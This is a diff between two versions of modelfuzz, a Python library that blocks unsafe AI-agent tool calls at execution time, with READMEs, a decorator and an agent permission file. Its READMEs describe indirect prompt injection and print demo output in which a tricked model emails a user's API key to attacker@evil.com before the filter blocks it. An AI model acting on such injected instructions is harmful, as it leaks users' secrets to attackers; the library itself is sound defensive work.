modelfuzz 0.1.0__tar.gz → 0.1.3__tar.gz

modelfuzz-0.1.3/.claude/settings.local.json

@@ -0,0 +1,33 @@
+{
+  "permissions": {
+    "allow": [
+      "Bash(git -C /Users/gagandeep/agentshield status --short --branch)",
+      "Bash(uv --version)",
+      "Bash(uv sync *)",
+      "Bash(uv run python -c ' *)",
+      "Bash(uv run *)",
+      "Bash(git add *)",
+      "Bash(python3 -c \"import modelfuzz; print\\(modelfuzz.__file__\\)\")",
+      "Bash(pip show *)",
+      "Bash(python3 test_agent.py)",
+      "Bash(python3 -c \"import sys; print\\(sys.path\\)\")",
+      "Bash(pip list *)",
+      "Bash(python3 -c \"import sys,site; print\\(site.getsitepackages\\(\\)\\)\")",
+      "Bash(find / -maxdepth 6 -iname \"modelfuzz*\" -not -path \"*/modelfuzz/*\")",
+      "Bash(./.venv/bin/pip show *)",
+      "Bash(./.venv/bin/python3 test_agent.py)",
+      "Bash(python3 -c ' *)",
+      "Bash(python3 -m pytest -q)",
+      "Bash(./.venv/bin/pip install *)",
+      "Bash(./.venv/bin/python test_agent.py)",
+      "Bash(python3 -m pip show build twine)",
+      "Bash(env)",
+      "Bash(curl -s https://pypi.org/pypi/modelfuzz/json)",
+      "Bash(python3 -c \"import json,sys; d=json.load\\(sys.stdin\\); print\\('version:', d['info']['version']\\); print\\('releases:', list\\(d['releases'].keys\\(\\)\\)\\)\")",
+      "Bash(git remote *)",
+      "Bash(./.venv/bin/python -c \"from modelfuzz import shield_tool, ModelFuzzBlockError; print\\('import OK'\\)\")",
+      "Bash(curl -s \"https://img.shields.io/github/actions/workflow/status/higagan/modelfuzz/ci.yml?branch=main&label=CI\")",
+      "Bash(python3 -c \"import json,sys; d=json.load\\(sys.stdin\\)['info']; print\\('PyPI version:', d['version']\\); print\\('summary:', d['summary']\\); print\\('homepage/urls:', d['project_urls']\\); print\\('readme starts:', \\(d['description'] or ''\\)[:200]\\)\")"
+    ]
+  }
+}

modelfuzz-0.1.3/CONTRIBUTING.md

@@ -0,0 +1,46 @@
+# Contributing to ModelFuzz
+
+Thanks for your interest in contributing. This document covers how to set up a development environment, run tests, and submit changes.
+
+## Development Setup
+
+ModelFuzz uses [uv](https://github.com/astral-sh/uv) for dependency management.
+
+```bash
+git clone https://github.com/higagan/modelfuzz.git
+cd modelfuzz
+uv sync
+```
+
+This installs the package and its dependencies, including dev tools (`pytest`, `ruff`), into a local virtual environment.
+
+## Running Tests
+
+```bash
+uv run pytest
+```
+
+Tests live under [tests/](tests/) and are organized by module (`test_decorator.py`, `test_engine.py`, `test_rules.py`). Add tests alongside the code they cover, and make sure new policies or behaviors are exercised by at least one test.
+
+## Linting
+
+```bash
+uv run ruff check .
+```
+
+CI runs lint and tests against Python 3.10, 3.11, and 3.12 on every push and pull request (see [.github/workflows/ci.yml](.github/workflows/ci.yml)). Please make sure both pass locally before opening a PR.
+
+## Submitting Changes
+
+1. Fork the repository and create a branch from `main`.
+2. Make your changes, with tests covering new behavior.
+3. Run `uv run ruff check .` and `uv run pytest` locally.
+4. Open a pull request describing the change and its motivation.
+
+## Reporting Issues
+
+Use [GitHub Issues](https://github.com/higagan/modelfuzz/issues) to report bugs or propose features. Include a minimal reproduction where possible.
+
+## License
+
+By contributing, you agree that your contributions will be licensed under the project's [MIT License](LICENSE).

modelfuzz-0.1.3/PKG-INFO

@@ -0,0 +1,92 @@
+Metadata-Version: 2.4
+Name: modelfuzz
+Version: 0.1.3
+Summary: Runtime guardrails for AI agents.
+Project-URL: Homepage, https://github.com/higagan/modelfuzz
+Project-URL: Repository, https://github.com/higagan/modelfuzz
+Project-URL: Issues, https://github.com/higagan/modelfuzz/issues
+Author-email: Gagan Deep <gagan.ping@gmail.com>
+License: MIT
+License-File: LICENSE
+Keywords: ai-agents,guardrails,llm,prompt-injection,security
+Classifier: Development Status :: 3 - Alpha
+Classifier: Intended Audience :: Developers
+Classifier: License :: OSI Approved :: MIT License
+Classifier: Operating System :: OS Independent
+Classifier: Programming Language :: Python :: 3
+Classifier: Programming Language :: Python :: 3.10
+Classifier: Programming Language :: Python :: 3.11
+Classifier: Programming Language :: Python :: 3.12
+Classifier: Topic :: Security
+Classifier: Topic :: Software Development :: Libraries :: Python Modules
+Requires-Python: >=3.10
+Requires-Dist: typer>=0.12
+Description-Content-Type: text/markdown
+
+# ModelFuzz
+
+[![CI](https://img.shields.io/github/actions/workflow/status/higagan/modelfuzz/ci.yml?branch=main&label=CI)](https://github.com/higagan/modelfuzz/actions)
+[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT)
+[![Python 3.10+](https://img.shields.io/badge/python-3.10+-blue.svg)](https://www.python.org/downloads/)
+[![Code Style: Ruff](https://img.shields.io/badge/code%20style-ruff-261230.svg)](https://github.com/astral-sh/ruff)
+
+**Runtime guardrails for AI agents. Intercept and block unsafe tool calls caused by prompt injection.**
+
+---
+
+## The Problem
+
+LLM agents can be manipulated through indirect prompt injection — a malicious instruction hidden in an email, webpage, or document — into calling their own tools in unsafe ways. The result: exfiltrated secrets, arbitrary shell execution, or requests to attacker-controlled URLs, all issued by an agent that believes it's just helping the user.
+
+## The Solution
+
+ModelFuzz intercepts the tool call at the **execution layer**, not the prompt layer — every argument is checked against your policies *before* the tool runs. It doesn't matter how the model got tricked; if the call violates policy, it never executes.
+
+## Quickstart
+
+```python
+from modelfuzz import shield_tool
+
+@shield_tool
+def send_email(to_address: str, subject: str, body: str) -> None:
+    smtp.send(to_address, subject, body)
+```
+
+Works bare (`@shield_tool`) or called (`@shield_tool()`) — both wrap `send_email` identically. Any argument that trips a policy raises `ModelFuzzBlockError` before the function body runs.
+
+## The Demo
+
+**What it looks like:** an agent gets prompt-injected into calling `send_email` with a stolen API key. ModelFuzz catches it before the email goes out.
+
+```bash
+--- SIMULATING TRICKED LLM ---
+[🤖 LLM DECISION] The model was tricked by prompt injection!
+[🤖 LLM ARGUMENTS] {"to_address": "attacker@evil.com", "subject": "Stolen Data", "body": "The user's secret API_KEY is sk-12345"}
+
+[🛡️ MODEL FUZZ] Intercepting tool execution...
+
+✅ MODEL FUZZ BLOCKED THE ATTACK!
+   Reason: String contains sensitive keyword: 'secret'
+```
+
+## How It Works
+
+- **`PolicyEngine`** — runs an ordered list of policies against every tool-call argument and short-circuits on the first violation. Policies are plain callables (`(value) -> Violation | None`), so writing your own is a one-function job.
+- **`@shield_tool` decorator** — wraps any function so every positional and keyword argument passes through the engine before the function body runs. A violation raises `ModelFuzzBlockError`; the tool never executes.
+- **Default Deny** — allowlist rules like `URLAllowList` block anything not explicitly permitted: unknown domains, userinfo tricks (`http://api.internal.com@evil.com`), and unparseable URLs are all treated as violations. When in doubt, the call doesn't run.
+
+## Installation
+
+```bash
+pip install modelfuzz
+```
+
+Or with [uv](https://github.com/astral-sh/uv):
+
+```bash
+uv add modelfuzz
+```
+
+## Contributing
+
+Contributions are welcome. See [CONTRIBUTING.md](CONTRIBUTING.md) for development setup, testing, and pull-request guidelines.

modelfuzz-0.1.3/README.md

@@ -0,0 +1,67 @@
+# ModelFuzz
+
+[![CI](https://img.shields.io/github/actions/workflow/status/higagan/modelfuzz/ci.yml?branch=main&label=CI)](https://github.com/higagan/modelfuzz/actions)
+[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT)
+[![Python 3.10+](https://img.shields.io/badge/python-3.10+-blue.svg)](https://www.python.org/downloads/)
+[![Code Style: Ruff](https://img.shields.io/badge/code%20style-ruff-261230.svg)](https://github.com/astral-sh/ruff)
+
+**Runtime guardrails for AI agents. Intercept and block unsafe tool calls caused by prompt injection.**
+
+---
+
+## The Problem
+
+LLM agents can be manipulated through indirect prompt injection — a malicious instruction hidden in an email, webpage, or document — into calling their own tools in unsafe ways. The result: exfiltrated secrets, arbitrary shell execution, or requests to attacker-controlled URLs, all issued by an agent that believes it's just helping the user.
+
+## The Solution
+
+ModelFuzz intercepts the tool call at the **execution layer**, not the prompt layer — every argument is checked against your policies *before* the tool runs. It doesn't matter how the model got tricked; if the call violates policy, it never executes.
+
+## Quickstart
+
+```python
+from modelfuzz import shield_tool
+
+@shield_tool
+def send_email(to_address: str, subject: str, body: str) -> None:
+    smtp.send(to_address, subject, body)
+```
+
+Works bare (`@shield_tool`) or called (`@shield_tool()`) — both wrap `send_email` identically. Any argument that trips a policy raises `ModelFuzzBlockError` before the function body runs.
+
+## The Demo
+
+**What it looks like:** an agent gets prompt-injected into calling `send_email` with a stolen API key. ModelFuzz catches it before the email goes out.
+
+```bash
+--- SIMULATING TRICKED LLM ---
+[🤖 LLM DECISION] The model was tricked by prompt injection!
+[🤖 LLM ARGUMENTS] {"to_address": "attacker@evil.com", "subject": "Stolen Data", "body": "The user's secret API_KEY is sk-12345"}
+
+[🛡️ MODEL FUZZ] Intercepting tool execution...
+
+✅ MODEL FUZZ BLOCKED THE ATTACK!
+   Reason: String contains sensitive keyword: 'secret'
+```
+
+## How It Works
+
+- **`PolicyEngine`** — runs an ordered list of policies against every tool-call argument and short-circuits on the first violation. Policies are plain callables (`(value) -> Violation | None`), so writing your own is a one-function job.
+- **`@shield_tool` decorator** — wraps any function so every positional and keyword argument passes through the engine before the function body runs. A violation raises `ModelFuzzBlockError`; the tool never executes.
+- **Default Deny** — allowlist rules like `URLAllowList` block anything not explicitly permitted: unknown domains, userinfo tricks (`http://api.internal.com@evil.com`), and unparseable URLs are all treated as violations. When in doubt, the call doesn't run.
+
+## Installation
+
+```bash
+pip install modelfuzz
+```
+
+Or with [uv](https://github.com/astral-sh/uv):
+
+```bash
+uv add modelfuzz
+```
+
+## Contributing
+
+Contributions are welcome. See [CONTRIBUTING.md](CONTRIBUTING.md) for development setup, testing, and pull-request guidelines.

{modelfuzz-0.1.0 → modelfuzz-0.1.3}/pyproject.toml

@@ -1,6 +1,6 @@
 [project]
 name = "modelfuzz"
-version = "0.1.0"
+version = "0.1.3"
 description = "Runtime guardrails for AI agents."
 readme = "README.md"
 license = { text = "MIT" }

{modelfuzz-0.1.0 → modelfuzz-0.1.3}/src/modelfuzz/__init__.py

@@ -1,5 +1,7 @@
 """ModelFuzz: a lightweight shield for intercepting agent tool calls."""
 
+from importlib.metadata import version as _version
+
 from modelfuzz.decorator import shield_tool
 from modelfuzz.engine import PolicyEngine, PolicyResult
 from modelfuzz.exceptions import ModelFuzzBlockError
@@ -14,4 +16,4 @@ __all__ = [
     "PolicyEngine",
     "PolicyResult",
 ]
-__version__ = "0.1.0"
+__version__ = _version("modelfuzz")

modelfuzz-0.1.3/src/modelfuzz/decorator.py

@@ -0,0 +1,64 @@
+"""Decorators for shielding agent tool functions."""
+
+import functools
+from collections.abc import Callable
+from typing import ParamSpec, TypeVar, overload
+
+from modelfuzz.engine import PolicyEngine
+from modelfuzz.exceptions import ModelFuzzBlockError
+from modelfuzz.rules import SensitiveDataFilter
+
+P = ParamSpec("P")
+R = TypeVar("R")
+
+# Default policy engine for the decorator
+default_policies = [SensitiveDataFilter()]
+_default_engine = PolicyEngine(default_policies)
+
+
+@overload
+def shield_tool(engine: Callable[P, R]) -> Callable[P, R]: ...
+@overload
+def shield_tool(
+    engine: PolicyEngine | None = None,
+) -> Callable[[Callable[P, R]], Callable[P, R]]: ...
+
+
+def shield_tool(engine=None):
+    """Wrap a tool function so every call is intercepted before execution.
+
+    Usable bare (``@shield_tool``) or called (``@shield_tool()`` /
+    ``@shield_tool(engine)``).
+
+    Args:
+        engine: The policy engine to use for validation. If None, a default
+            engine with a SensitiveDataFilter is used. When applied bare,
+            this receives the function being decorated instead.
+
+    Returns:
+        The wrapped function, or a decorator that produces it.
+    """
+    if callable(engine) and not isinstance(engine, PolicyEngine):
+        return _wrap(engine, _default_engine)
+
+    actual_engine = engine if engine is not None else _default_engine
+
+    def decorator(func: Callable[P, R]) -> Callable[P, R]:
+        return _wrap(func, actual_engine)
+
+    return decorator
+
+
+def _wrap(func: Callable[P, R], actual_engine: PolicyEngine) -> Callable[P, R]:
+    @functools.wraps(func)
+    def wrapper(*args: P.args, **kwargs: P.kwargs) -> R:
+        # Check all arguments against the policy engine
+        for arg in list(args) + list(kwargs.values()):
+            result = actual_engine.run(arg)
+            if not result.allowed:
+                raise ModelFuzzBlockError(result.reason or "Call blocked by policy")
+
+        print(f"ModelFuzz Intercepted: {func.__name__}")
+        return func(*args, **kwargs)
+
+    return wrapper

{modelfuzz-0.1.0 → modelfuzz-0.1.3}/uv.lock

@@ -100,7 +100,7 @@ wheels = [
 
 [[package]]
 name = "modelfuzz"
-version = "0.1.0"
+version = "0.1.3"
 source = { editable = "." }
 dependencies = [
     { name = "typer" },

modelfuzz-0.1.0/.claude/settings.local.json

@@ -1,12 +0,0 @@
-{
-  "permissions": {
-    "allow": [
-      "Bash(git -C /Users/gagandeep/agentshield status --short --branch)",
-      "Bash(uv --version)",
-      "Bash(uv sync *)",
-      "Bash(uv run python -c ' *)",
-      "Bash(uv run *)",
-      "Bash(git add *)"
-    ]
-  }
-}

modelfuzz-0.1.0/PKG-INFO

@@ -1,146 +0,0 @@
-Metadata-Version: 2.4
-Name: modelfuzz
-Version: 0.1.0
-Summary: Runtime guardrails for AI agents.
-Project-URL: Homepage, https://github.com/higagan/modelfuzz
-Project-URL: Repository, https://github.com/higagan/modelfuzz
-Project-URL: Issues, https://github.com/higagan/modelfuzz/issues
-Author-email: Gagan Deep <gagan.ping@gmail.com>
-License: MIT
-License-File: LICENSE
-Keywords: ai-agents,guardrails,llm,prompt-injection,security
-Classifier: Development Status :: 3 - Alpha
-Classifier: Intended Audience :: Developers
-Classifier: License :: OSI Approved :: MIT License
-Classifier: Operating System :: OS Independent
-Classifier: Programming Language :: Python :: 3
-Classifier: Programming Language :: Python :: 3.10
-Classifier: Programming Language :: Python :: 3.11
-Classifier: Programming Language :: Python :: 3.12
-Classifier: Topic :: Security
-Classifier: Topic :: Software Development :: Libraries :: Python Modules
-Requires-Python: >=3.10
-Requires-Dist: typer>=0.12
-Description-Content-Type: text/markdown
-
-# ModelFuzz
-
-[![CI](https://github.com/higagan/modelfuzz/actions/workflows/ci.yml/badge.svg?branch=main)](https://github.com/higagan/modelfuzz/actions/workflows/ci.yml)
-[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT)
-[![Python 3.10+](https://img.shields.io/badge/python-3.10+-blue.svg)](https://www.python.org/downloads/)
-[![Code Style: Ruff](https://img.shields.io/badge/code%20style-ruff-261230.svg)](https://github.com/astral-sh/ruff)
-
-**Runtime guardrails for AI agents. Intercept and block unsafe tool calls caused by prompt injection.**
-
----
-
-## The Problem
-
-LLM agents can be manipulated through prompt injection into making unsafe tool calls — exfiltrating secrets over email, hitting attacker-controlled URLs, or executing arbitrary shell commands. Because model behavior is inherently unpredictable, prompt-level defenses alone cannot guarantee that a compromised agent won't act on malicious instructions.
-
-## The Solution
-
-ModelFuzz intercepts the tool call at the **execution layer**, not the prompt layer — every argument is checked against your policies *before* the tool runs. This shifts security from "hoping the model behaves" to "guaranteeing the function is safe to execute."
-
-## Quickstart
-
-```python
-from modelfuzz import shield_tool
-
-@shield_tool()
-def send_email(to_address: str, subject: str, body: str) -> None:
-    smtp.send(to_address, subject, body)
-```
-
-That's it. If any argument trips a policy (by default, a `SensitiveDataFilter` that catches secrets, passwords, and API keys), the call raises `ModelFuzzBlockError` before `send_email` ever executes.
-
-Need custom policies? Build your own engine:
-
-```python
-from modelfuzz import PolicyEngine, SensitiveDataFilter, URLAllowList, shield_tool
-
-engine = PolicyEngine([
-    SensitiveDataFilter(sensitive_keywords=["internal_token", "ssn"]),
-    URLAllowList(allowed_domains=["api.mycompany.com"]),
-])
-
-@shield_tool(engine=engine)
-def fetch_url(url: str) -> str:
-    ...
-```
-
-## The Demo
-
-**What it looks like:** `demo.py` simulates a prompt-injected agent attempting data exfiltration twice — first against an unguarded tool (the attack succeeds), then against the same tool wrapped in `@shield_tool()` (the attack is blocked before execution).
-
-Run it yourself with `uv run python demo.py`:
-
-```text
-============================================================
- MODELFUZZ DEMO: PROMPT INJECTION DEFENSE
-============================================================
-
-
-============================================================
- PART 1: THE BREACH (UNGUARDED)
-============================================================
-
-[!] UNGUARDED AGENT: Executing tool with malicious payload...
-  [>] Tool Call: send_email(**{'to_address': 'attacker@evil.com', 'subject': 'Stolen Data', 'body': "The user's API_KEY is sk-12345..."})
-
-  [!] Simulating email send...
-  To: attacker@evil.com
-  Subject: Stolen Data
-  Body: The user's API_KEY is sk-12345...
-
-============================================================
-  🚨 BREACH
-============================================================
-  Data exfiltrated to attacker@evil.com
-============================================================
-
-
-============================================================
- PART 2: THE SHIELD (MODELFUZZ ACTIVE)
-============================================================
-
-[+] GUARDED AGENT: Executing tool with malicious payload...
-  [>] Tool Call: send_email(**{'to_address': 'hacker@malicious.net', 'subject': 'Exfiltration', 'body': 'Secret credentials attached: password123'})
-
-  [+] ModelFuzz is intercepting the call...
-
-  [✓] ModelFuzz caught a violation:
-      Reason: String contains sensitive keyword: 'secret'
-
-============================================================
-  🛡️ MODELFUZZ BLOCKED
-============================================================
-  Sensitive data exfiltration stopped.
-============================================================
-```
-
-## How It Works
-
-- **`PolicyEngine`** — runs an ordered list of policies against every tool-call argument and short-circuits on the first violation, returning a `PolicyResult` with the block reason. Policies are plain callables (`(value) -> Violation | None`), so writing your own is a one-function job.
-- **`@shield_tool` decorator** — wraps any function so every positional and keyword argument passes through the engine before the function body runs. A violation raises `ModelFuzzBlockError`; the tool never executes.
-- **Default Deny** — allowlist rules like `URLAllowList` block anything not explicitly permitted: unknown domains, userinfo tricks (`http://api.internal.com@evil.com`), and unparseable URLs are all treated as violations. When in doubt, the call doesn't run.
-
-## Installation
-
-```bash
-pip install modelfuzz
-```
-
-Or with [uv](https://github.com/astral-sh/uv):
-
-```bash
-uv add modelfuzz
-```
-
-## Contributing
-
-Contributions are welcome. See [CONTRIBUTING.md](CONTRIBUTING.md) for development setup, testing, and pull-request guidelines.
-
-## License
-
-MIT — see [LICENSE](LICENSE) for details.

modelfuzz-0.1.0/README.md

@@ -1,121 +0,0 @@
-# ModelFuzz
-
-[![CI](https://github.com/higagan/modelfuzz/actions/workflows/ci.yml/badge.svg?branch=main)](https://github.com/higagan/modelfuzz/actions/workflows/ci.yml)
-[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT)
-[![Python 3.10+](https://img.shields.io/badge/python-3.10+-blue.svg)](https://www.python.org/downloads/)
-[![Code Style: Ruff](https://img.shields.io/badge/code%20style-ruff-261230.svg)](https://github.com/astral-sh/ruff)
-
-**Runtime guardrails for AI agents. Intercept and block unsafe tool calls caused by prompt injection.**
-
----
-
-## The Problem
-
-LLM agents can be manipulated through prompt injection into making unsafe tool calls — exfiltrating secrets over email, hitting attacker-controlled URLs, or executing arbitrary shell commands. Because model behavior is inherently unpredictable, prompt-level defenses alone cannot guarantee that a compromised agent won't act on malicious instructions.
-
-## The Solution
-
-ModelFuzz intercepts the tool call at the **execution layer**, not the prompt layer — every argument is checked against your policies *before* the tool runs. This shifts security from "hoping the model behaves" to "guaranteeing the function is safe to execute."
-
-## Quickstart
-
-```python
-from modelfuzz import shield_tool
-
-@shield_tool()
-def send_email(to_address: str, subject: str, body: str) -> None:
-    smtp.send(to_address, subject, body)
-```
-
-That's it. If any argument trips a policy (by default, a `SensitiveDataFilter` that catches secrets, passwords, and API keys), the call raises `ModelFuzzBlockError` before `send_email` ever executes.
-
-Need custom policies? Build your own engine:
-
-```python
-from modelfuzz import PolicyEngine, SensitiveDataFilter, URLAllowList, shield_tool
-
-engine = PolicyEngine([
-    SensitiveDataFilter(sensitive_keywords=["internal_token", "ssn"]),
-    URLAllowList(allowed_domains=["api.mycompany.com"]),
-])
-
-@shield_tool(engine=engine)
-def fetch_url(url: str) -> str:
-    ...
-```
-
-## The Demo
-
-**What it looks like:** `demo.py` simulates a prompt-injected agent attempting data exfiltration twice — first against an unguarded tool (the attack succeeds), then against the same tool wrapped in `@shield_tool()` (the attack is blocked before execution).
-
-Run it yourself with `uv run python demo.py`:
-
-```text
-============================================================
- MODELFUZZ DEMO: PROMPT INJECTION DEFENSE
-============================================================
-
-
-============================================================
- PART 1: THE BREACH (UNGUARDED)
-============================================================
-
-[!] UNGUARDED AGENT: Executing tool with malicious payload...
-  [>] Tool Call: send_email(**{'to_address': 'attacker@evil.com', 'subject': 'Stolen Data', 'body': "The user's API_KEY is sk-12345..."})
-
-  [!] Simulating email send...
-  To: attacker@evil.com
-  Subject: Stolen Data
-  Body: The user's API_KEY is sk-12345...
-
-============================================================
-  🚨 BREACH
-============================================================
-  Data exfiltrated to attacker@evil.com
-============================================================
-
-
-============================================================
- PART 2: THE SHIELD (MODELFUZZ ACTIVE)
-============================================================
-
-[+] GUARDED AGENT: Executing tool with malicious payload...
-  [>] Tool Call: send_email(**{'to_address': 'hacker@malicious.net', 'subject': 'Exfiltration', 'body': 'Secret credentials attached: password123'})
-
-  [+] ModelFuzz is intercepting the call...
-
-  [✓] ModelFuzz caught a violation:
-      Reason: String contains sensitive keyword: 'secret'
-
-============================================================
-  🛡️ MODELFUZZ BLOCKED
-============================================================
-  Sensitive data exfiltration stopped.
-============================================================
-```
-
-## How It Works
-
-- **`PolicyEngine`** — runs an ordered list of policies against every tool-call argument and short-circuits on the first violation, returning a `PolicyResult` with the block reason. Policies are plain callables (`(value) -> Violation | None`), so writing your own is a one-function job.
-- **`@shield_tool` decorator** — wraps any function so every positional and keyword argument passes through the engine before the function body runs. A violation raises `ModelFuzzBlockError`; the tool never executes.
-- **Default Deny** — allowlist rules like `URLAllowList` block anything not explicitly permitted: unknown domains, userinfo tricks (`http://api.internal.com@evil.com`), and unparseable URLs are all treated as violations. When in doubt, the call doesn't run.
-
-## Installation
-
-```bash
-pip install modelfuzz
-```
-
-Or with [uv](https://github.com/astral-sh/uv):
-
-```bash
-uv add modelfuzz
-```
-
-## Contributing
-
-Contributions are welcome. See [CONTRIBUTING.md](CONTRIBUTING.md) for development setup, testing, and pull-request guidelines.
-
-## License
-
-MIT — see [LICENSE](LICENSE) for details.

modelfuzz-0.1.0/src/modelfuzz/decorator.py

@@ -1,45 +0,0 @@
-"""Decorators for shielding agent tool functions."""
-
-import functools
-from collections.abc import Callable
-from typing import ParamSpec, TypeVar
-
-from modelfuzz.engine import PolicyEngine
-from modelfuzz.exceptions import ModelFuzzBlockError
-from modelfuzz.rules import SensitiveDataFilter
-
-P = ParamSpec("P")
-R = TypeVar("R")
-
-# Default policy engine for the decorator
-default_policies = [SensitiveDataFilter()]
-_default_engine = PolicyEngine(default_policies)
-
-
-def shield_tool(engine: PolicyEngine | None = None) -> Callable[[Callable[P, R]], Callable[P, R]]:
-    """Wrap a tool function so every call is intercepted before execution.
-
-    Args:
-        engine: The policy engine to use for validation. If None, a default
-            engine with a SensitiveDataFilter is used.
-
-    Returns:
-        A decorator that wraps the function.
-    """
-    actual_engine = engine if engine is not None else _default_engine
-
-    def decorator(func: Callable[P, R]) -> Callable[P, R]:
-        @functools.wraps(func)
-        def wrapper(*args: P.args, **kwargs: P.kwargs) -> R:
-            # Check all arguments against the policy engine
-            for arg in list(args) + list(kwargs.values()):
-                result = actual_engine.run(arg)
-                if not result.allowed:
-                    raise ModelFuzzBlockError(result.reason or "Call blocked by policy")
-
-            print(f"ModelFuzz Intercepted: {func.__name__}")
-            return func(*args, **kwargs)
-
-        return wrapper
-
-    return decorator